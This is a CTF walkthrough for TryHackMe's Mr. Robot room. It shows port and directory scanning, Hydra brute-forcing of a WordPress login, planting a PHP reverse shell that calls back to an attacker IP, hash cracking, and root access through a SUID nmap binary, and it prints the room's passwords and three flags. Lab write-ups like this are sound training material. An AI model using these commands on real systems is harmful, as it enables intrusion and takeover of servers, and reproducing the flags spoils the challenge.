Press enter or click to view image in full size
Platform: TryHackMe
Room: Mr. Robot CTF
Difficulty: Medium
Author: Shikhali Jamalzade (@alisalive)
Date: May 2026
Tags: #CTF #TryHackMe #WordPress #PrivilegeEscalation #PenTest #MrRobot
“Give a man a gun and he can rob a bank. Give a man a bank and he can rob the world.” — Mr. Robot
Introduction
The Mr. Robot CTF room on TryHackMe is inspired by the cult TV series of the same name — a show about hacking, manipulation, and power. Created by security researcher Leon Johnson, the room presents a realistic attack surface: a WordPress-powered web server with deliberately weak credentials and a classic privilege escalation vector involving a SUID binary.
Your mission: find 3 hidden keys on the machine.
In this write-up, I’ll walk through every step of the compromise — from initial reconnaissance all the way to root. I’ll explain the why behind each tool and technique, not just the how.
Environment Setup
Before anything, connect to the TryHackMe VPN:
bash
sudo openvpn your-config.ovpnOnce connected, deploy the Mr. Robot machine from the room page. Note the assigned IP (referred to as <TARGET_IP> throughout this write-up).
Phase 1 — Reconnaissance
Nmap Port Scan
Every engagement begins with understanding the attack surface. We’ll use nmap to identify open ports, services, and versions.
bash
nmap -sC -sV -T4 -oN nmap_scan.txt <TARGET_IP>Flag breakdown:
-sC— Run default NSE scripts (useful for detecting common vulns and misconfigs)-sV— Probe service versions-T4— Aggressive timing (faster on stable networks)-oN— Save output to file for reference
Results:
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd
443/tcp open ssl/http Apache httpd
22/tcp closed sshTwo web servers (HTTP + HTTPS) are running on a standard Apache stack. SSH is closed, so our initial foothold will be through the web.
Phase 2 — Web Enumeration
Visiting the Website
Navigate to http://<TARGET_IP> in your browser. You'll be greeted by an interactive terminal simulation themed around the Mr. Robot show. It's visually impressive but doesn't contain anything useful for exploitation — feel free to play around though.
robots.txt — The First Lead
A robots.txt file tells web crawlers which paths to avoid. It's frequently overlooked by developers, but for pentesters it's a goldmine.
bash
curl http://<TARGET_IP>/robots.txtOutput:
User-agent: *
fsocity.dic
key-1-of-3.txtTwo files are disclosed:
fsocity.dic— a wordlist (we'll use this to brute-force WordPress)key-1-of-3.txt— the first flag
Download both immediately:
bash
wget http://<TARGET_IP>/fsocity.dic
wget http://<TARGET_IP>/key-1-of-3.txt
cat key-1-of-3.txt🚩 Key 1:
073403c8a58a1f80d943455fb30724b9
Directory Brute-Forcing with Gobuster
To map the full attack surface, we enumerate hidden directories:
bash
gobuster dir -u http://<TARGET_IP> -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 50Key findings:
/wp-login (Status: 200)
/wp-admin (Status: 301)
/robots (Status: 200)
/readme (Status: 200)
/sitemap (Status: 200)
/wp-content (Status: 301)The presence of /wp-login confirms this is a WordPress installation. This opens up a well-documented attack path.
Phase 3 — WordPress Credential Brute-Force
Preparing the Wordlist
The fsocity.dic file contains 858,160 words — most of them duplicates. Running a brute-force with this as-is would waste significant time. We deduplicate it first:
bash
wc -w fsocity.dic # 858160 words
sort fsocity.dic | uniq > fs-clean.txt
wc -w fs-clean.txt # 11451 words — a 98.7% reductionAlways optimize your wordlists before launching attacks. Speed matters in real engagements.
Username Enumeration with Hydra
WordPress gives different error messages depending on whether a username exists:
- Invalid username →
ERROR: Invalid username. - Valid username, wrong password →
ERROR: The password you entered for the username … is incorrect.
We exploit this username enumeration vulnerability to find valid users first, then pivot to password brute-forcing.
Start by capturing a failed login request with Burp Suite to identify the POST parameters (log and pwd). Then launch Hydra:
bash
hydra -L fs-clean.txt -p test <TARGET_IP> http-post-form \
"/wp-login.php:log=^USER^&pwd=^PASS^:F=Invalid username" -t 30-L fs-clean.txt— username wordlist-p test— static placeholder password (we only care about username validity here)F=Invalid username— string that indicates a failed attempt (Hydra ignores these)
Result: Valid username found → elliot
Password Brute-Force
Now that we have a valid username, we brute-force the password using the same deduplicated list:
bash
hydra -l elliot -P fs-clean.txt <TARGET_IP> http-post-form \
"/wp-login.php:log=^USER^&pwd=^PASS^:F=The password you entered for the username" -t 30Result: Password found → ER28-0652
Alternative — WPScan:
bash
wpscan --url http://<TARGET_IP> -U elliot -P fs-clean.txt -t 50WPScan is purpose-built for WordPress and tends to be faster for this specific task.
Phase 4 — WordPress Remote Code Execution
Gaining Admin Access
Navigate to http://<TARGET_IP>/wp-login.php and log in with:
- Username:
elliot - Password:
ER28-0652
Elliot has full administrator privileges. Welcome to the dashboard.
Uploading a PHP Reverse Shell
WordPress administrators can edit theme template files — raw PHP. This is our injection point.
Navigate to: Appearance → Theme Editor → Select a template (e.g., archive.php or 404.php)
Get Shikhali Jamalzade’s stories in your inbox
Join Medium for free to get updates from this writer.
Replace the entire file content with PentestMonkey’s PHP reverse shell:
https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.phpBefore saving, edit these two lines to match your attacking machine:
php
$ip = '<YOUR_ATTACKING_IP>'; // your TryHackMe VPN IP (tun0)
$port = 4444; // or any port you chooseClick Update File.
Setting Up the Listener
On your attacking machine:
bash
nc -lvnp 4444Triggering the Shell
Now visit the modified template URL in your browser. For the archive.php template, it would be:
http://<TARGET_IP>/wp-content/themes/twentyfifteen/archive.phpCheck your terminal — you should have a reverse shell as daemon:
bash
$ whoami
daemonPhase 5 — Post-Exploitation & Key 2
Exploring the Filesystem
Navigate to the home directory:
bash
cd /home/robot
ls -laOutput:
-r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5We can see key-2-of-3.txt, but it's only readable by the robot user. However, password.raw-md5 is world-readable:
bash
cat password.raw-md5Output:
robot:c3fcd3d76192e4007dfb496cca67e13bCracking the MD5 Hash
The hash format is MD5 (hinted by the filename). Crack it using:
Option 1 — CrackStation (online): Paste the hash at crackstation.net
Option 2 — John the Ripper:
bash
echo "c3fcd3d76192e4007dfb496cca67e13b" > hash.txt
john hash.txt --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txtOption 3 — Hashcat:
bash
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txtResult: abcdefghijklmnopqrstuvwxyz
Spawning a Proper TTY Shell
Before switching users, we need a fully interactive terminal. Our current shell is a limited “dumb” shell that doesn’t support su. Fix it with Python's pty module:
bash
python -c 'import pty; pty.spawn("/bin/bash")'Now switch to the robot user:
bash
su robot
# Password: abcdefghijklmnopqrstuvwxyzRead the second key:
bash
cat /home/robot/key-2-of-3.txt🚩 Key 2:
822c73956184f694993bebb3eb32f0bf
Phase 6 — Privilege Escalation to Root
With robot, we still can't read the third key (located in /root). We need to escalate to root.
Finding SUID Binaries
SUID (Set User ID) binaries run with the permissions of their owner (often root), regardless of who executes them. This is a common and powerful escalation vector.
bash
find / -perm -u=s -type f 2>/dev/nullScan the results. Something unusual stands out:
/usr/local/bin/nmapNmap with SUID? That’s misconfigured. Older versions of nmap (2.02–5.21) include an --interactive mode that allows shell command execution.
GTFOBins — nmap Interactive Mode
Verify on GTFOBins:
bash
nmap --interactiveOnce in nmap’s interactive prompt:
nmap> !shCheck your privilege level:
bash
whoami
# rootYou now have a root shell.
Capturing the Final Key
bash
cat /root/key-3-of-3.txt🚩 Key 3:
04787ddef27c3dee1ee161b21670b4e4
Attack Chain Summary
robots.txt disclosure
↓
Key 1 found (public file)
↓
WordPress discovered via gobuster
↓
Username enumerated via error message difference
↓
Password cracked via Hydra + fsocity.dic wordlist
↓
Admin access → PHP reverse shell injected into theme
↓
Shell as daemon → /home/robot/ explored
↓
MD5 hash cracked → su robot → Key 2
↓
SUID nmap found → nmap --interactive → !sh → root
↓
Key 3 capturedLessons Learned
1. robots.txt is not security. It’s a disclosure mechanism by design — never put sensitive file paths there.
2. WordPress login pages expose usernames. The different error messages for “invalid username” vs “wrong password” enable user enumeration. This is a long-standing WordPress issue.
3. Wordlist hygiene matters. Deduplicating fsocity.dic reduced it from 858,160 to 11,451 entries — making the brute-force ~75x faster. Never throw raw wordlists at targets.
4. Theme editors are code execution. Any CMS that lets admins write raw PHP to disk is one compromised account away from full RCE.
5. SUID misconfigurations are everywhere. Always run find / -perm -u=s -type f 2>/dev/null on post-exploitation. Cross-reference with GTFOBins.
6. MD5 is not encryption. It’s a hashing algorithm, and short/predictable passwords will fall to rainbow tables instantly. Use bcrypt, Argon2, or scrypt for password storage.
Tools Used
Tool Purpose nmap Port scanning & service enumeration gobuster Directory brute-forcing Burp Suite HTTP request interception & analysis Hydra Credential brute-forcing WPScan WordPress-specific enumeration Pentest Monkey PHP Reverse Shell Remote code execution payload Netcat Reverse shell listener John the Ripper / Hashcat Hash cracking GTFOBins SUID exploitation reference
Flags
1073403c8a58a1f80d943455fb30724b92822c73956184f694993bebb3eb32f0bf304787ddef27c3dee1ee161b21670b4e4